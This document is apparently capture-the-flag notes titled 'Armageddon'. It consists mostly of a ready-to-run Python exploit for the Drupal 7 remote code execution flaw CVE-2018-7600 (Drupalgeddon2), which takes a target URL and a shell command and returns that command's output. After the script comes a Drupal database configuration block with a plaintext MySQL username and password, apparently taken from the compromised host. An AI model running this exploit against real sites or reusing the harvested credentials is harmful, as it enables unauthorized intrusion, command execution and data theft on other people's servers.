Armageddon

#!/usr/bin/env python3
"""
CVE-2018-7600 - Drupal 7.x Remote Code Execution (Drupalgeddon2)
Updated to accept commands as arguments
Original by firefart
"""

import argparse
import re
import requests
import sys

def exploit(host, command):
    if not host.endswith('/'):
        host += '/'

    # Prepare malicious GET parameters
    get_params = {
        'q': 'user/password',
        'name[#post_render][]': 'passthru',
        'name[#markup]': command,
        'name[#type]': 'markup'
    }

    # POST parameters
    post_params = {
        'form_id': 'user_pass',
        '_triggering_element_name': 'name'
    }

    try:
        # Send exploit payload
        r = requests.post(host, data=post_params, params=get_params, timeout=10)

        # Extract form_build_id
        m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)

        if not m:
            print("[-] Target does not appear to be vulnerable")
            return None

        found = m.group(1)

        # Retrieve command output
        get_params = {'q': 'file/ajax/name/#value/' + found}
        post_params = {'form_build_id': found}

        r = requests.post(host, data=post_params, params=get_params, timeout=10)
        r.encoding = 'ISO-8859-1'

        output = r.text.split("[{")[0].strip()
        return output if output else ""

    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2018-7600 Drupal RCE Exploit')
    parser.add_argument('-u', '--url', required=True, help='Target Drupal URL')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    args = parser.parse_args()

    print(f"[*] Target: {args.url}")
    print(f"[*] Command: {args.command}")

    result = exploit(args.url, args.command)

    if result is not None:
        print(f"\n[+] COMMAND OUTPUT:\n{result}")
    else:
        print("[-] Exploitation failed")
        sys.exit(1)

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);